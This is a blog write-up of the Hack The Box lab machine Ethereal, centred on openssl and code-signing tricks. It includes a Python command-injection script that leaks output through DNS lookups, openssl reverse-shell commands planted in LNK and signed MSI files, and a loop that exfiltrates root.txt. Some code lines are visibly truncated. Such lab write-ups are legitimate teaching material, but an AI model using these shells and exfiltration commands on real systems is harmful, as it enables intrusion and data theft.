Ethereal @ hackthebox: Certificate-Related Rabbit Holes

This post is related to the ‘insanely’ difficult hackthebox machine Ethereal that was recently retired. Beware – It is not at all a full comprehensive write-up! I zoom in on openssl, X.509 certificates, signing stuff, and related unnecessary rabbit holes that were particularly interesting to me – as somebody who recently described herself as a Dinosaur that supports some legacy (Windows) Public Key Infrastructures, like the Cobol Programmers tackling Y2K bugs.

Ethereal was insane, because it was so locked down. You got limited remote command execution by exfiltrating the output of commands over DNS, via a ‘ping’ web tool with a command injection vulnerability. In order to use that tool you had to find credentials in a password box database that was hidden in an image of a DOS floppy disk buried in other files on an FTP server. See excellent full write-ups by 0xdf and by Bernie Lim, or watch ippsec’s video.

Regarding the DNS data exfiltration I owe to this m0noc’s great video tutorial. You parse the output of the command in a for loop, and exfil data in chunks that make up a ‘host name’ sent to your evil DNS server. I am embedding my RCE script below.

openssl – telnet-style

To obtain a reverse shell and to transfer files, you had to use openssl ‘creatively’ –  as a telnet replacement, running a ‘double shell’ with different windows for stdin and stdout.

In order to trigger this shell as ‘the’ user- the one with the flag, named jorge, you needed to overwrite an existing Windows shortcut file pointing to the Visual Studio 2017 executable (.LNK). I created ‘malicious’ shortcuts using the python library pylnk, on a Windows system. The folder containing that file was also the only place at all you could write to the file system as the initial ‘web injection user’, alan. I noticed that the overwritten LNK was replaced quickly, at least every minute – so I also hoped that a simulated user will ‘click’ the file every minute.

Creating certificate and key …

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

Listening on the only ports open for outgoing traffic with two ‘SSL servers’:

openssl s_server -key key.pem -cert cert.pem -port 73
openssl s_server -key key.pem -cert cert.pem -port 136

The Reverse shell command to be used in the LNK file uses the ‘SSL client’:

C:\windows\System32\cmd.exe /c "C:\progra~2\openssl-v1.1.0\bin\openssl.exe s_client -quiet -connect | cmd 2>&1 | C:\progra~2\openssl-v1.1.0\bin\openssl.exe s_client -connect 2>&1 &"

The first rabbit hole I fell into was that I used openssl more ‘creatively’ than what was maybe needed. Though I found this metasploit module with a double telnet-style shell for Linux I decided to work on replacing the LNK first, and only go for a reverse shell if a simple payload in the LNK would work.

Downside of that approach: I needed another way of transferring the LNK file! If I had the reverse shell, already I’d been be able to use ‘half of it’ for transferring a file in the spirit of nc.

1) Run a ‘SSL server’ locally to be prepared for sending the file:

openssl s_server -quiet -key key.pem -cert cert.pem -port 73 <to_be_copied

2) Receive it using the SSL client:

openssl.exe s_client -quiet -connect >to_be_copied

The usual ways to transfer files were blocked, for example certutil. certutil and certreq are the tools that are sort of an equivalent of openssl on Windows. certutil’s legit purpose is to manage the Windows PKI, manage certificate stores, analzye certificates, publish to certificate stores, download certificate revocation lists, etc. … The latter option makes it a ‘hacker tool’ because it lets you download other files like wget or curl (depending on the version of Windows and Defender’s vigilance doing heuristic checks of the action performed, rather than on the EXE itself).

Nearly missing out on openssl

When I saw openssl – installed on Windows! – I hoped I was on to something! However, I nearly let go of openssl as I failed to test it properly. I  ran openssl help in my nslookup shell, and did not get any response. Nearly any interesting EXE was blocked on Ethereal, so it came not as a surprise that openssl seemed to be, too.

Only after I was stuck for quite a while and a kind soul gave me a nudge to not abandon openssl too fast, I realized that the openssl help output is actually sent to standard error, not standard out.

You can redirect stderr to stdout using 2>&1 – but if you run the command ’embedded’ in the for loop (see python script below), you better escape both special characters like this:

'C:\progra~2\openssl-v1.1.0\bin\openssl.exe help 2^>^&1'

File transfer with openssl base64 and echo

My solution was to base64 encode the file locally with openssl (rather than using base64, just ‘to play it safe’), to echo out the file in  the DNS shell as alan on Ethereal, then base64 decode it and store it in the final location. I had issues with echoing out the full content in one line, so I did not use the –A option in openssl base64, but echoed one line after the other.

I missed that I can write to the folder – I believed I could only write to this single LNK file. So I had to echo to the exact same file that I would also use as the final target, like so:

type target.lnk | openssl base64 -d -out target.lnk

Below is my final RCE script for a simple ‘shell’ – either executing input commands 1:1 or special (series of) commands using shortcuts. E.g. for ‘echo-uploading’ a file, decoding, and checking the result I used

F shell.lnk

In case I wanted to run a command without having to worry about escaping I can also run it blind, without any output via nslookup.


import requests
import readline
import os
import sys

url = 'http://ethereal.htb:8080/'
headers = { 'Authorization' : 'Basic YWxhbjohQzQxNG0xN3k1N3IxazNzNGc0MW4h' }

server_dns = ''
A_dns = 'D%a.D%b.D%c.D%d.D%e.D%f.D%g.D%h.D%i.D%j.D%k.D%l.D%m.D%n.D%o.D%p.D%k.D%r.D%s.D%t.D%u.D%v.D%w.D%x.D%y.D%z.'
template = ' & ( FOR /F "tokens=1-26" %a in (\'_CMD_\') DO ( nslookup ' + A_dns + ' ' + server_dns + ') )'
template_blind = ' & _CMD_'
template_lnk = '( FOR /F "tokens=1-26" %a in (\'_CMD_\') DO ( nslookup ' + A_dns + ' ' + server_dns + ') )'
# CSRF protections not automated as they did not change that often
# Copy from Burp, curl etc.
postdata = { 
    '__VIEWSTATE' : '/wEPDwULLTE0OTYxODU3NjhkZG8se05Gp91AdhB+bS+3cb/nwM7/1XnvqTtUaEoqfbcF',
    '__EVENTVALIDATION' : '/wEdAAMwTZWDrxbqRTSpQRwxTZI24CgZUgk3s462EToPmqUw3OKvLNdlnDJuHW3p+9jPAN/MZTRxLbqQfS//vLHaNSfR4/D4qt+Wcl4tw/wpixmG9w==',
    'ctl02' : ''

target_lnk = 'C:\Users\Public\Desktop\Shortcuts\Visual Studio 2017.lnk'
target_lnk_dos = 'C:\Users\Public\Desktop\Shortcuts\Visual~1.lnk'
target_dir = 'C:\Users\Public\Desktop\Shortcuts\\'

openssl_path = 'C:\progra~2\openssl-v1.1.0\\bin\openssl.exe'

ask = True

def create_echo(infile_name, outfile_path):
    # File name must not include blanks
    b64_name = infile_name + '.b64'

    echos = []

    if not os.path.isfile(infile_name):
        print 'Cannot read file!'
        return echos
        os.system('openssl base64 -in ' + infile_name + ' -out ' + b64_name)
        f = open(b64_name, 'r')
    i = 0
    for line in f:
        towrite = line[:-1]
        if i == 0:
            echos += [ 'cmd /c "echo ' + towrite + ' >' + outfile_path + '"' ] 
            echos += [ 'cmd /c "echo ' + towrite + ' >>' + outfile_path + '"' ] 
        print line[:-1]
        i += 1

    return echos

def payload(cmd):
    return template.replace('_CMD_', cmd)

def payload_blind(cmd):
    return template_blind.replace('_CMD_', cmd)

def send(payload):
    print payload
    print ''
    if ask == True:
       go = raw_input('Enter n for discarding the command >>: ')
       go = 'y'

    if go != 'n':
        postdata['search'] = payload
        response =, data=postdata, headers=(headers))
        print 'Status Code: ' + str(response.status_code)
        print 'Not sent: ' + cmd

while True:

    cmd = raw_input('\033[41m[dnsexfil_cmd]>>: \033[0m ')

    if cmd == 'quit': 

    elif cmd == 'dontask':
        ask = False
        print 'ask set to: ' + str(ask)
    elif cmd == 'ask':
        ask = True
        print 'ask set to: ' + str(ask)

    elif cmd[0:2] == 'F ':
        infile = cmd[2:]
        echos = create_echo(infile, target_lnk_dos)
        link = ' & '
        cmd_all_echos = link.join(echos)

    elif cmd[0:2] == 'B ':
        cmd_blind = cmd[2:]
    elif cmd == 'decode':
        cmd = 'type "' + target_lnk + '" | ' + openssl_path + ' base64 -d -out "' + target_lnk + '"'

    elif cmd == 'showdir':
        cmd = 'dir ' + target_dir

    elif cmd == 'showfile':
        cmd = 'type "' + target_lnk + '"'


Finding that elusive CA certificate

After I finally managed to run a shell as jorge I fell into lots of other rabbit holes – e.g. analyzing, modifying, and compiling a recent Visual Studio exploit.

Then I ran tasklist for the umpteenth time, and saw an msiexec process! And lo and behold, even my user jorge was able to run msiexec! This fact was actually not important, as I found out later that I should wait for another (admin) user to run something.

I researched ways to use an MSI for applocker bypass. As described in detail in other write-ups you could use a simple skeleton XML file to create your MSI with the WIX toolset. WIX was the perfect tool to play with at Christmas when I did this box – it’s made up of executables called light.exe, candle.exe, lit.exe, heat.exe, shine.exe, torch.exe, pyro.exe, dark.exe, melt.exe … 🙂

So I also created a simple MSI, ran it as jorge and nothing happened. Honestly, I cannot tell with hindsight if that should have possibly worked – just without any escalation to an admin or SYSTEM context – or I made an error again. But because of my focus on all things certificates and signatures, I suspected the MSI had to be signed – that would also be in line with the spirit of downlocking at this box.

Signed code does only run of the certificate is trusted. So I needed to sign the MSI either with a ‘universally’ / publicly trusted certificate (descending from a CA certified in the Microsoft Root Program) or there was possibly a key and certificate on the box I have not found yet. Both turned out to be another good chance for falling into rabbit roles!

Testing locally with certificates in the Windows store

I used one of my Windows test CAs and issued a Code Signing certificate, then used signtool to sign a test MSI. The reference to the correct store is in this case the CN of the Subject Name which should be unique in your store:

signtool sign /n Administrator /v pingtest.msi

The MSI could be ‘installed’ and my ping worked on a test Windows box. So I knew that the signing procedure worked, but I needed a certificate chain that Ethereal will trust. With hindsight, giving my false assumption that jorge will run the MSI, I should also have considered that jorge will install a Root CA certificate of my liking into his (user’s) Root certificate store. It should theoretically be doable fiddling with the registry only (see second hilarious rabbit hole below), but normally I would certutil for that. And certutil was definitely blocked.

Publicly trusted certificate

I do have one! Our Austrian health insurance smartcards have pre-deployed keys, and you can enroll for X.509 certificates for those keys. So on a typical Windows box, code signed with this ID card would run. But there is a catch: Windows does not – anymore, since Vista if I recall correctly – pre-populate the store with all the Root CAs certified by Microsoft. If you try to run a signed MSI (or visit an HTTPS website, or read a signed e-mail), then Windows will download the required root certificate as needed. But hackthebox machines are not able to access the internet.

Yet, in despair I tried, for the unlikely case all the roots were there. Using signtool like so, it will let me pick the smartcard certificate, and I was prompted for the PIN:

signtool sign /a /v pingtest.msi

So if my signed signed had screwed up the box, I could not have denied it – a use-case of the Non-Repudation Key Usage 😉

Uploaded my smartcard-signed MSI. And failed to run it.

Ages-old Demo CA – and how to use openssl for signing

There was actually a CA on the box, sort of – the demoCA that comes with the openssl installation. A default CA key and certificate comes with openssl, and the perl script can be used to created ‘database-like files and folders’. In despair I used this default CA certificate and key – maybe it was was trusted as kind of subtle joke? I did not bother to look closely at the CA certificate – otherwise I should have noticed it had expired long ago 🙂

The process I tested for signing was the same I used later. As makecert is the tool that many others have used to solve this, I quickly sum up the openssl process.

You can either use the openssl ca ‘module’ – or openssl x509. The latter is a bit simpler as you do not need to prepare the CA’s ‘database’ directories.

Of course I used Windows GUI tools to create the request 🙂

  • Start, Run, certmgr.msc
  • Personal, All Tasks, Advanced Operations, Create Custom Request
  • Custom PKCS#10 Request.
  • Extensions:
    Key Usage = Digital Signature
    Extended Key Usage = Code Signing
  • Private Key, Key Options: 2048 Bit
  • BASE64 encoding

The result is a BASE64 encoded ‘PEM’ certificate signing request. You can sign with the demoCA’s key like this – I did this on my Windows box.

openssl x509 -req -in req.csr -CA cacert.pem -CAkey private\cakey.pem -CAcreateserial -out codesign.crt -days 500 -extfile codesign.cnf -extensions codesign

There are different ways to make sure that the Code Signing Extended Key Usage gets carried over from the request to the certificate, or that it is ‘added again’. In the openssl.cnf config file (default or referenced via -config) you can e.g. configure to copy_extensions.

In the example above, I used a separate file for extensions. (Values seem to be case-sensitive, also on Windows).

[ codesign ]


To complete the process, the Root CA certificate is imported in the the Trusted Root Certification Authorities store in certmgr.msc,  and the Code Signing certificate is imported into Personal certificates in certmgr.msc. In case the little key icon does not show up, key and certificate have not been properly united, which can be fixed with

certutil -repairstore -user my [Serial Number of the cert]

The file is signed without issues, however the resulting chain violates basic requirements for certificate path validation: The CA’s end of life was in 1998.

certutil cacert.pem

X509 Certificate:
Version: 1
Serial Number: 04
Signature Algorithm:
Algorithm ObjectId: 1.2.840.113549.1.1.4 md5RSA
Algorithm Parameters:
05 00
CN=SSLeay/rsa test CA
Name Hash(sha1): 4f28bdc33fb78c854e2ceb26210f981bb73ce9ea
Name Hash(md5): ee7084bbed50615d1e118ff2ada590cf

NotBefore: 10.10.1995 00:32
NotAfter: 06.07.1998 00:32

CN=SSLeay demo server
O=Mincom Pty. Ltd.

Weird way to find a CA certificate

This was – for me – the most hilarious part of owning this box. The mysterious Root CA had to be in the Windows registry, and I had no certutil. So I resorted to looking at the registry directly.

‘Windows Certificate stores’ are collections of different registry key, this was the one relevant here.

C:\>reg query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\


But I wanted to look into the binary certificates with those keys so I dumped each of the keys (like 18F7C1FCC3090203FD5BAA2F861A754976C8DD25) and copied the contents from the terminal to a python script. This snippet shows only a single cert in the list:

certs = [
for cert in certs:
    print '======================================='
    print cert
    print '======================================='
    print cert.decode('hex')
    print '======================================='

OK, certainly not the most elegant way to deal with it, but I was loosing patience – I was on a war path!!

Strings in the output contain the CA’s Issuer and Subject Name, and most were familiar Microsoft, Versign, etc. With this exception:

¬·╟<          òë┌┐ò$º¿Y╔&┌╢e½s╦π≥│τÇ╤#w▌╙o╠D       ╖è╔└eîqD╕ß!└öPδ⌠ ¡      ü¿M»╬Φv√tÄ.LgawĽ0ß       τ9╡ïε╢æï
  é0é010 U  My CA0é"0≥▀~àE~Γ<éíFj0
é ¥═p|ÉÉ▒ôfD╬,°á3╣Zƒ╕Cáφs╖Kεmìδ╗wFo2ßÄK ┘Xì╧Y?ÉR╢&,V┘Ω╠û5¬Σ▒┴Γ╧B·Gb4éτåi0Ku rí╕Oh≈φ¬u≤h¥J ┌┌º(┐Jk<√=-9{£H[▀ªP&«¢ΣU■2~ ½Öº-4║o/σ£oºå─∙Åédü¿éÅêr▐O.╘<'Qu∙w0~▒A±·â·{k
  é hòÿâ⌠╝*εC╡Åπs⌠╝[░╣±kπ{≥¬æ±¬╠b┐╤GëJ»i%┴       ╕ìiΦπ %¬*π[ò╗,9ü:╦-5  úV0T0 U  0  0A U :08ǽÖ┬ï]═8¬I¡X^⌠í010 U  My CAé÷h≥▀~àE~Γ<éíFj0

▀ó*┌û╞Qfè£ⁿ─;Lτ·II╫─╓┴¼╤N∩j Φ
)x═Mπ╪₧⌠ç╛ê┤YF:╛╢╙êDτσªM]Gá⌐ S≡∞Yg J»╪u


Maybe hard to spot, but there was a CA called My CA! But where was the key I needed to sign my own Code Signing cert?

In such cases, I typically resort to more Windows registry forensics. I hoped that ‘jorge’ or the box’ creators had touched a folder with these certificate and key. I walked through various Explorer-related keys, especially the infamous Shellbags:

HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2
    NodeSlot    REG_DWORD    0x3
    MRUListEx    REG_BINARY    0100000000000000FFFFFFFF
    0    REG_BINARY    4A00310000000000DB4CD6B3100044455600380009000400EFBEDB4C8FB3DB4CD6B32E0000002400000000000100000000000000000000000000000099306500440045005600000012000000
    1    REG_BINARY    5000310000000000E74C4AAE10004365727473003C0009000400EFBEE74C41AEE74C4AAE2E000000492E0000000003000000000000000000000000000000EAE7BD0043006500720074007300000014000000

HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0
HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\1

… and I really saw a folder called Certs after decoding:

>>> print s.decode('hex')
n 1     µLGu VISUAL~1  V          ∩╛µLGuµLGu.   z¿                    åUÉ V i s u a l   S t u d i o   2 0 1 7   
>>> s='4A00310000000000DB4CD6B3100044455600380009000400EFBEDB4C8FB3DB4CD6B32E0000002400000000000100000000000000000000000000000099306500440045005600000012000000'
>>> print s.decode('hex')
J 1     █L╓│ DEV 8        ∩╛█LÅ│█L╓│.   $                    Ö0e D E V   
>>> s='5000310000000000E74C4AAE10004365727473003C0009000400EFBEE74C41AEE74C4AAE2E000000492E0000000003000000000000000000000000000000EAE7BD0043006500720074007300000014000000'
>>> print s.decode('hex')
P 1     τLJ« Certs <      ∩╛τLA«τLJ«.   I.                    Ωτ╜ C e r t s    >>>

… and a link to a folder called MSIs:

    0    REG_BINARY    5000750062006C0069006300000060003200000000000000000000005075626C69632E6C6E6B0000460009000400EFBE00000000000000002E00000000000000000000000000000000000000000000000000000000005000750062006C00690063002E006C006E006B0000001A000000
    MRUListEx    REG_BINARY    020000000100000000000000FFFFFFFF
    1    REG_BINARY    4D0053004900730000005A003200000000000000000000004D5349732E6C6E6B0000420009000400EFBE00000000000000002E00000000000000000000000000000000000000000000000000000000004D005300490073002E006C006E006B00000018000000
>>> s='4D0053004900730000005A003200000000000000000000004D5349732E6C6E6B0000420009000400EFBE00000000000000002E00000000000000000000000000000000000000000000000000000000004D005300490073002E006C006E006B00000018000000'
>>> print s.decode('hex')
M S I s   Z 2           MSIs.lnk  B        ∩╛        .                             M S I s . l n k   

Then I did what I should have done before – checking out the Recent Docs folder directly …

Directory of C:\Users\jorge\AppData\Roaming\Microsoft\Windows\Recent

07/07/2018  09:47 PM               405 EFS.lnk
07/07/2018  09:53 PM               555 MSIs.lnk
07/07/2018  09:53 PM               678 note.lnk
07/07/2018  09:49 PM               690 Public.lnk
07/09/2018  09:13 PM               612 system32.lnk
07/04/2018  09:17 PM               527 user.lnk

…. the file contained the path:


So there was a D: drive I had totally missed – and there you found a key MyCA.pvk and a certificate MyCA.cer.

The ‘funny’ thing now is that the LNK file hijacked before pointed to Visual Studio installed on the D: drive. So the intended way was likely to go straight to this folder, see certificates and and MSIs folder, and conclude you need to sign an MSI.

Signing that darn thing finally 🙂

I wanted to re-use the openssl process I tested before. But openssl cannot use PVK files (AFAIK 😉 but you can convert PVK keys to PFX (PKCS#12)

I ran

pvk2pfx /pvk MyCA.pvk /spc MyCA.cer

… to start a GUI certificate export wizard that let me specify the PFX password.

Then I converted the PFX key to PEM

openssl pkcs12 -in MyCA.pfx -out MyCA.pem -nodes

… and the binary (‘DER’) certificate to PEM

openssl x509 -inform der -in MyCA.cer -out MyCA.cer.pem

I signed a Code Signing certificate for a user with CN Test 1 (same process as with the demoCA), and used this to sign the final payload! Imported MyCA.cer to the Trusted Roots and referenced again the CN of the user in signtool:

signtool sign /n "Test 1" /v half_shell_MyCA.msi
The following certificate was selected:
    Issued to: Test 1
    Issued by: My CA
    Expires:   Sat May 09 14:54:50 2020
    SHA1 hash: 0CDBA139B0E93813969E9E82F1E739C962BA6A3B

Done Adding Additional Store
Successfully signed: half_shell_MyCA.msi

Number of files successfully Signed: 1
Number of warnings: 0
Number of errors: 0

I verified the MSI also with

signtool verify /pa /v half_shell_MyCA.msi

My final signed MSI payload was what I called a half shell, a command like this:

C:\windows\System32\cmd.exe /c "C:\progra~2\openssl-v1.1.0\bin\openssl.exe s_client -quiet -connect | cmd &"

You can execute commands, but you do not get the output back. I tried to use my resources most efficiently.

A text note told us that the admin ‘rupal’ will test MSIs frequently. So I need one openssl listener – thus one of the two precious open ports – for waiting for rupal.

I used the other open port for uploading the MSI, ‘nc-style’ again with openssl.

But if I really wanted output from the blind half shell, I could also embed it in nslookup. So I used the to create this type of command (for that it has on option to just display but not run a command), that I would then paste into the input window of jorge’s half shell.

FOR /F "tokens=1-26" %a in ('copy half_shell_MyCA.msi D:\DEV\MSIs') DO ( nslookup D%a.D%b.D%c.D%d.D%e.D%f.D%g.D%h.D%i.D%j.D%k.D%l.D%m.D%n.D%o.D%p.D%k.D%r.D%s.D%t.D%u.D%v.D%w.D%x.D%y.D%z.

And rupal called back!


But he also only half a shell, so I read root.txt via nslookup, pasting this command into his half shell:

FOR /F "tokens=1-26" %a in ('type C:\Users\rupal\Desktop\root.txt') DO ( nslookup D%a.D%b.D%c.D%d.D%e.D%f.D%g.D%h.D%i.D%j.D%k.D%l.D%m.D%n.D%o.D%p.D%k.D%r.D%s.D%t.D%u.D%v.D%w.D%x.D%y.D%z.

What an adventure!


Leave a Comment

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.